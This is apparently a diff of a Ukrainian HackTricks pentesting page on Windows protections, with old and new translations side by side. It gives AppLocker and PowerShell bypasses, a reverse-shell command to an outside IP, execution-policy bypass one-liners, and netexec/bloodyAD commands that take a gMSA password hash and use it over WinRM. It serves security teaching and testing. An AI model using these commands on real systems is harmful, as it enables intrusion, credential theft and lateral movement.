- Організації також часто зосереджуються на **блокуванні виконуваного файлу `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, але забувають про **інші** [**місця виконуваних файлів PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations), такі як `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` або `PowerShell_ISE.exe`. - Організації часто зосереджуються на **блокуванні виконуваного файлу `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, але забувають про **інші** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations), такі як `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` або `PowerShell_ISE.exe`.
- **Примус DLL дуже рідко активується** через додаткове навантаження, яке він може створити на системі, і кількість тестування, необхідного для забезпечення того, щоб нічого не зламалося. Тому використання **DLL як бекдорів допоможе обійти AppLocker**. - **Примусове застосування DLL дуже рідко увімкнене** через додаткове навантаження на систему та обсяг тестування, необхідного, щоб нічого не зламалося. Тому використання **DLL як бекдорів допоможе обійти AppLocker**.
- Ви можете використовувати [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) або [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick), щоб **виконати код Powershell** в будь-якому процесі та обійти AppLocker. Для отримання додаткової інформації перегляньте: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). - Ви можете використовувати [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) або [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick), щоб **виконувати код Powershell** в будь-якому процесі та обійти AppLocker. Для більше інформації див.: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## Зберігання облікових даних ## Зберігання облікових даних
### Менеджер безпеки облікових записів (SAM) ### Менеджер облікових записів безпеки (SAM)
Локальні облікові дані присутні в цьому файлі, паролі хешуються. Локальні облікові дані присутні в цьому файлі, паролі хешовані.
### Локальний орган безпеки (LSA) - LSASS ### Локальний орган безпеки (LSA) - LSASS
**Облікові дані** (хешовані) **зберігаються** в **пам'яті** цього підсистеми з причин єдиного входу.\ **Облікові дані** (хеші) **зберігаються** в **пам'яті** цієї підсистеми з міркувань Single Sign-On.\
**LSA** адмініструє локальну **політику безпеки** (політика паролів, дозволи користувачів...), **аутентифікацію**, **токени доступу**...\ **LSA** адмініструє локальну **політику безпеки** (політика паролів, права користувачів...), **аутентифікацію**, **токени доступу**...\
LSA буде тим, хто **перевірить** надані облікові дані в файлі **SAM** (для локального входу) і **зв'яжеться** з **контролером домену** для аутентифікації користувача домену. LSA буде тим, хто буде **перевіряти** надані облікові дані в файлі **SAM** (для локального входу) та **спілкуватиметься** з **контролером домену**, щоб автентифікувати доменного користувача.
**Облікові дані** **зберігаються** всередині **процесу LSASS**: квитки Kerberos, хеші NT і LM, легко розшифровані паролі. **Облікові дані** **зберігаються** всередині процесу **LSASS**: Kerberos tickets, хеші NT і LM, легко розшифровувані паролі.
### Секрети LSA ### Секрети LSA
LSA може зберігати на диску деякі облікові дані: LSA може зберігати на диску деякі облікові дані:
- Пароль облікового запису комп'ютера Active Directory (недоступний контролер домену). - Пароль облікового запису комп'ютера в Active Directory (коли контролер домену недоступний).
- Паролі облікових записів служб Windows - Паролі облікових записів служб Windows
- Паролі для запланованих завдань - Паролі для планових завдань
- Інше (пароль додатків IIS...) - Інше (пароль застосунків IIS...)
### NTDS.dit ### NTDS.dit
Це база даних Active Directory. Вона присутня лише в контролерах домену. Це база даних Active Directory. Присутня лише на контролерах домену.
## Захисник ## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) - це антивірус, доступний у Windows 10 і Windows 11, а також у версіях Windows Server. Він **блокує** загальні інструменти пентестингу, такі як **`WinPEAS`**. Однак є способи **обійти ці захисти**. [**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) — антивірус, який доступний у Windows 10 і Windows 11, а також у версіях Windows Server. Він **блокує** поширені pentesting інструменти, такі як **`WinPEAS`**. Однак існують способи **обійти ці захисти**.
### Перевірка ### Перевірка
Щоб перевірити **статус** **Захисника**, ви можете виконати командлет PS **`Get-MpComputerStatus`** (перевірте значення **`RealTimeProtectionEnabled`**, щоб дізнатися, чи активний він): Щоб перевірити **стан** **Defender**, можна виконати PS cmdlet **`Get-MpComputerStatus`** (перевірте значення **`RealTimeProtectionEnabled`**, щоб дізнатися, чи він активний):
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus <pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
@ -92,7 +92,7 @@ NISEngineVersion : 0.0.0.0
PSComputerName : PSComputerName :
</code></pre> </code></pre>
Щоб перерахувати його, ви також можете запустити: Для переліку також можна виконати:
```bash ```bash
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct wmic /namespace:\\root\securitycenter2 path antivirusproduct
@ -103,36 +103,36 @@ sc query windefend
``` ```
## Encrypted File System (EFS) ## Encrypted File System (EFS)
EFS захищає файли через шифрування, використовуючи **симетричний ключ**, відомий як **Ключ Шифрування Файлу (FEK)**. Цей ключ шифрується за допомогою **публічного ключа** користувача і зберігається в альтернативному потоці даних $EFS зашифрованого файлу. Коли потрібно розшифрування, використовується відповідний **приватний ключ** цифрового сертифіката користувача для розшифрування FEK з потоку $EFS. Більше деталей можна знайти [тут](https://en.wikipedia.org/wiki/Encrypting_File_System). EFS захищає файли за допомогою шифрування, використовуючи **симетричний ключ**, відомий як **File Encryption Key (FEK)**. Цей ключ шифрується за допомогою **публічного ключа** користувача і зберігається в $EFS **альтернативному потоці даних** зашифрованого файлу. Коли потрібне розшифрування, відповідний **приватний ключ** цифрового сертифіката користувача використовується для розшифрування FEK з $EFS потоку. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
**Сценарії розшифрування без ініціації користувача** включають: **Decryption scenarios without user initiation** include:
- Коли файли або папки переміщуються на файлову систему, що не підтримує EFS, наприклад, [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), вони автоматично розшифровуються. - Коли файли або папки переміщуються на файлову систему, що не підтримує EFS, наприклад [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), вони автоматично розшифровуються.
- Зашифровані файли, надіслані через мережу за протоколом SMB/CIFS, розшифровуються перед передачею. - Зашифровані файли, відправлені мережею через протокол SMB/CIFS, розшифровуються перед передачею.
Цей метод шифрування дозволяє **прозорий доступ** до зашифрованих файлів для власника. Однак просте зміна пароля власника та вхід в систему не дозволить розшифрувати файли. Цей метод шифрування дозволяє власнику мати **прозорий доступ** до зашифрованих файлів. Однак просте змінення пароля власника й вхід у систему не забезпечать розшифрування.
**Основні висновки**: **Key Takeaways**:
- EFS використовує симетричний FEK, зашифрований публічним ключем користувача. - EFS використовує симетричний FEK, зашифрований публічним ключем користувача.
- Розшифрування використовує приватний ключ користувача для доступу до FEK. - Для розшифрування використовується приватний ключ користувача для доступу до FEK.
- Автоматичне розшифрування відбувається за певних умов, таких як копіювання на FAT32 або передача по мережі. - Автоматичне розшифрування відбувається за певних умов, наприклад при копіюванні на FAT32 або при передачі по мережі.
- Зашифровані файли доступні власнику без додаткових кроків. - Зашифровані файли доступні власнику без додаткових кроків.
### Check EFS info ### Check EFS info
Перевірте, чи **користувач** **використовував** цей **сервіс**, перевіривши, чи існує цей шлях: `C:\users\<username>\appdata\roaming\Microsoft\Protect` Перевірте, чи **користувач** **використовував** цю **службу**, перевіривши наявність цього шляху:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
Перевірте, **хто** має **доступ** до файлу, використовуючи cipher /c \<file>\ Перевірте, **хто** має **доступ** до файлу, використовуючи cipher /c \<file\>
Ви також можете використовувати `cipher /e` та `cipher /d` всередині папки для **шифрування** та **розшифрування** всіх файлів Ви також можете використовувати `cipher /e` та `cipher /d` у папці, щоб **зашифрувати** та **розшифрувати** всі файли
### Decrypting EFS files ### Decrypting EFS files
#### Being Authority System #### Маючи права SYSTEM
Цей спосіб вимагає, щоб **жертва** **виконувала** **процес** всередині хоста. Якщо це так, використовуючи сесії `meterpreter`, ви можете підробити токен процесу користувача (`impersonate_token` з `incognito`). Або ви можете просто `migrate` до процесу користувача. Цей спосіб вимагає, щоб **жертва-користувач** запускав **процес** на хості. Якщо це так, використовуючи `meterpreter` сесію ви можете імітувати токен процесу користувача (`impersonate_token` з `incognito`). Або ви можете просто `migrate` у процес користувача.
#### Knowing the users password #### Знаючи пароль користувача
{{#ref}} {{#ref}}
@ -141,15 +141,15 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
## Group Managed Service Accounts (gMSA) ## Group Managed Service Accounts (gMSA)
Microsoft розробила **Групові Керовані Службові Облікові Записи (gMSA)** для спрощення управління службовими обліковими записами в ІТ-інфраструктурах. На відміну від традиційних службових облікових записів, які часто мають налаштування "**Пароль ніколи не закінчується**", gMSA пропонують більш безпечне та кероване рішення: Microsoft розробила **Group Managed Service Accounts (gMSA)**, щоб спростити управління сервісними обліковими записами в ІТ-інфраструктурах. На відміну від традиційних сервісних облікових записів, які часто мають увімкнену опцію "**Password never expire**", gMSA пропонують більш безпечне й кероване рішення:
- **Автоматичне управління паролями**: gMSA використовують складний, 240-символьний пароль, який автоматично змінюється відповідно до політики домену або комп'ютера. Цей процес обробляється Службою Розподілу Ключів (KDC) Microsoft, що усуває необхідність ручного оновлення паролів. - **Automatic Password Management**: gMSA використовують складний пароль довжиною 240 символів, який автоматично змінюється відповідно до політик домену чи комп'ютера. Цей процес керується Key Distribution Service (KDC) від Microsoft, усуваючи потребу в ручних оновленнях пароля.
- **Покращена безпека**: Ці облікові записи не підлягають блокуванню і не можуть використовуватися для інтерактивних входів, що підвищує їх безпеку. - **Enhanced Security**: Ці облікові записи не схильні до блокувань і не можуть використовуватися для інтерактивного входу, що підвищує їх безпеку.
- **Підтримка кількох хостів**: gMSA можуть бути спільними між кількома хостами, що робить їх ідеальними для служб, що працюють на кількох серверах. - **Multiple Host Support**: gMSA можуть використовуватися на кількох хостах, що робить їх ідеальними для сервісів, що працюють на кількох серверах.
- **Можливість запланованих завдань**: На відміну від керованих службових облікових записів, gMSA підтримують виконання запланованих завдань. - **Scheduled Task Capability**: На відміну від managed service accounts, gMSA підтримують виконання планових завдань.
- **Спрощене управління SPN**: Система автоматично оновлює Ім'я Службового Принципала (SPN) при змінах у деталях sAMaccount комп'ютера або DNS-імені, спрощуючи управління SPN. - **Simplified SPN Management**: Система автоматично оновлює Service Principal Name (SPN) при зміні деталей sAMaccount комп'ютера або імені DNS, спрощуючи керування SPN.
Паролі для gMSA зберігаються в LDAP-властивості _**msDS-ManagedPassword**_ і автоматично скидаються кожні 30 днів контролерами домену (DC). Цей пароль, зашифрований даний об'єкт, відомий як [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), може бути отриманий лише авторизованими адміністраторами та серверами, на яких встановлені gMSA, що забезпечує безпечне середовище. Для доступу до цієї інформації потрібне захищене з'єднання, таке як LDAPS, або з'єднання повинно бути автентифіковане з 'Sealing & Secure'. Паролі для gMSA зберігаються в LDAP-властивості _**msDS-ManagedPassword**_ і автоматично скидаються кожні 30 днів контролерами домену (Domain Controllers, DCs). Цей пароль — зашифрований бінарний блок даних, відомий як [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), може бути отриманий лише авторизованими адміністраторами та серверами, на яких встановлені gMSA, що забезпечує безпечне середовище. Для доступу до цієї інформації потрібне захищене з'єднання, таке як LDAPS, або з'єднання має бути автентифіковане з 'Sealing & Secure'.
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png) ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
@ -157,23 +157,59 @@ Microsoft розробила **Групові Керовані Службові
``` ```
/GMSAPasswordReader --AccountName jkohler /GMSAPasswordReader --AccountName jkohler
``` ```
[**Знайдіть більше інформації в цьому пості**](https://cube0x0.github.io/Relaying-for-gMSA/) [**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
Також перегляньте цю [web page](https://cube0x0.github.io/Relaying-for-gMSA/) про те, як виконати **NTLM relay attack**, щоб **прочитати** **пароль** **gMSA**.
### Зловживання ланцюгуванням ACL для читання керованого пароля gMSA (GenericAll -> ReadGMSAPassword)
У багатьох середовищах користувачі з низькими привілеями можуть отримати доступ до секретів gMSA без компрометації DC, зловживаючи неправильно налаштованими ACL об'єктів:
- Групі, яку ви контролюєте (наприклад, через GenericAll/GenericWrite), надано `ReadGMSAPassword` над gMSA.
- Додавши себе до цієї групи, ви успадковуєте право читати `msDS-ManagedPassword` blob gMSA через LDAP та отримувати придатні NTLM облікові дані.
Типовий робочий процес:
1) Знайдіть шлях за допомогою BloodHound і позначте свої foothold principals як Owned. Шукайте зв'язки на кшталт:
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
2) Додайте себе до проміжної групи, яку ви контролюєте (приклад з bloodyAD):
```bash
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
```
3) Прочитати керований пароль gMSA через LDAP і отримати NTLM-хеш. NetExec автоматизує витяг `msDS-ManagedPassword` та перетворення в NTLM:
```bash
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
```
Аутентифікуйтеся як gMSA, використовуючи NTLM hash (plaintext не потрібен). Якщо обліковий запис у Remote Management Users, WinRM працюватиме безпосередньо:
```bash
# SMB / WinRM as the gMSA using the NT hash
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
```
Примітки:
- LDAP reads of `msDS-ManagedPassword` require sealing (e.g., LDAPS/sign+seal). Tools handle this automatically.
- gMSAs are often granted local rights like WinRM; validate group membership (e.g., Remote Management Users) to plan lateral movement.
- If you only need the blob to compute the NTLM yourself, see MSDS-MANAGEDPASSWORD_BLOB structure.
Також перегляньте цю [веб-сторінку](https://cube0x0.github.io/Relaying-for-gMSA/) про те, як виконати **атаку NTLM реле** для **читання** **пароля** **gMSA**.
## LAPS ## LAPS
**Рішення для паролів локального адміністратора (LAPS)**, доступне для завантаження з [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), дозволяє керувати паролями локальних адміністраторів. Ці паролі, які є **випадковими**, унікальними та **регулярно змінюються**, зберігаються централізовано в Active Directory. Доступ до цих паролів обмежується через ACL для авторизованих користувачів. За наявності достатніх прав надається можливість читати паролі локальних адміністраторів. Рішення **Local Administrator Password Solution (LAPS)**, доступне для завантаження з [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), дозволяє керувати локальними паролями облікового запису Administrator. Ці паролі, які є **випадково згенерованими**, унікальними та **регулярно змінюються**, зберігаються централізовано в Active Directory. Доступ до цих паролів обмежується ACLs для авторизованих користувачів. Якщо надані достатні дозволи, можливе читання локальних паролів адміністратора.
{{#ref}} {{#ref}}
../active-directory-methodology/laps.md ../active-directory-methodology/laps.md
{{#endref}} {{#endref}}
## Режим обмеженої мови PowerShell ## PS Constrained Language Mode
PowerShell [**Режим обмеженої мови**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **блокує багато функцій**, необхідних для ефективного використання PowerShell, таких як блокування COM-об'єктів, дозволяючи лише затверджені типи .NET, робочі процеси на основі XAML, класи PowerShell та інше. PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **жорстко обмежує багато функцій**, потрібних для ефективного використання PowerShell, таких як блокування COM objects, дозвіл лише схвалених .NET types, XAML-based workflows, PowerShell classes та інше.
### **Перевірити** ### **Перевірте**
```bash ```bash
$ExecutionContext.SessionState.LanguageMode $ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage #Values could be: FullLanguage or ConstrainedLanguage
@ -183,22 +219,22 @@ $ExecutionContext.SessionState.LanguageMode
#Easy bypass #Easy bypass
Powershell -version 2 Powershell -version 2
``` ```
У поточному Windows цей обхід не спрацює, але ви можете використовувати [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ У сучасних Windows цей Bypass не працює, але ви можете використовувати[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Щоб скомпілювати його, вам може знадобитися** **додати посилання** -> ерегляд_ -> ерегляд_ -> додати `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` і **змінити проект на .Net4.5**. **Щоб скомпілювати його, можливо, потрібно** **щоб** _**Add a Reference**_ -> _Browse_ ->_Browse_ -> додати `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` і **змінити проект на .Net4.5**.
#### Прямий обхід: #### Direct bypass:
```bash ```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
``` ```
#### Зворотний шелл: #### Reverse shell:
```bash ```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
``` ```
Ви можете використовувати [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) або [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick), щоб **виконати код Powershell** в будь-якому процесі та обійти обмежений режим. Для отримання додаткової інформації перегляньте: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). Ви можете використовувати [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) або [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) щоб **execute Powershell** code у будь-якому процесі та обійти constrained mode. Для детальнішої інформації див.: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## PS Execution Policy ## Політика виконання PS
За замовчуванням він встановлений на **restricted.** Основні способи обійти цю політику: За замовчуванням вона встановлена як **restricted.** Основні способи обійти цю політику:
```bash ```bash
1º Just copy and paste inside the interactive PS console 1º Just copy and paste inside the interactive PS console
2º Read en Exec 2º Read en Exec
@ -218,35 +254,41 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand 9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
``` ```
Більше можна знайти [тут](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) Детальніше можна знайти [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
## Інтерфейс постачальника підтримки безпеки (SSPI) ## Інтерфейс Security Support Provider (SSPI)
Це API, яке можна використовувати для автентифікації користувачів. Це API, який використовується для автентифікації користувачів.
SSPI буде відповідати за знаходження відповідного протоколу для двох машин, які хочуть спілкуватися. Переважним методом для цього є Kerberos. Потім SSPI буде вести переговори про те, який протокол автентифікації буде використовуватися, ці протоколи автентифікації називаються постачальниками підтримки безпеки (SSP), розташовані в кожній машині Windows у формі DLL, і обидві машини повинні підтримувати один і той же, щоб мати можливість спілкуватися. SSPI відповідає за підбір відповідного протоколу для двох машин, які хочуть обмінюватися даними. Переважним методом для цього є Kerberos. Далі SSPI узгоджує, який протокол автентифікації буде використано — ці протоколи автентифікації називаються Security Support Provider (SSP), знаходяться на кожній машині Windows у вигляді DLL, і обидві машини повинні підтримувати один і той самий, щоб мати змогу спілкуватися.
### Основні SSP ### Основні SSP
- **Kerberos**: Переважний - **Kerberos**: The preferred one
- %windir%\Windows\System32\kerberos.dll - %windir%\Windows\System32\kerberos.dll
- **NTLMv1** та **NTLMv2**: З причин сумісності - **NTLMv1** and **NTLMv2**: Compatibility reasons
- %windir%\Windows\System32\msv1_0.dll - %windir%\Windows\System32\msv1_0.dll
- **Digest**: Веб-сервери та LDAP, пароль у формі MD5 хешу - **Digest**: Web servers and LDAP, password in form of a MD5 hash
- %windir%\Windows\System32\Wdigest.dll - %windir%\Windows\System32\Wdigest.dll
- **Schannel**: SSL та TLS - **Schannel**: SSL and TLS
- %windir%\Windows\System32\Schannel.dll - %windir%\Windows\System32\Schannel.dll
- **Negotiate**: Використовується для переговорів про протокол, який слід використовувати (Kerberos або NTLM, при цьому Kerberos є за замовчуванням) - **Negotiate**: It is used to negotiate the protocol to use (Kerberos or NTLM being Kerberos the default one)
- %windir%\Windows\System32\lsasrv.dll - %windir%\Windows\System32\lsasrv.dll
#### Переговори можуть запропонувати кілька методів або лише один. #### Під час узгодження може бути запропоновано кілька методів або лише один.
## UAC - Контроль облікових записів користувачів ## UAC - Контроль облікових записів користувача
[Контроль облікових записів користувачів (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) - це функція, яка дозволяє **запит на згоду для підвищених дій**. [User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) — функція, яка відображає запит на підтвердження для дій з підвищеними правами.
{{#ref}} {{#ref}}
uac-user-account-control.md uac-user-account-control.md
{{#endref}} {{#endref}}
## Посилання
- [Relaying for gMSA cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/)
- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
- [HTB Sendai 0xdf: gMSA via rights chaining to WinRM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}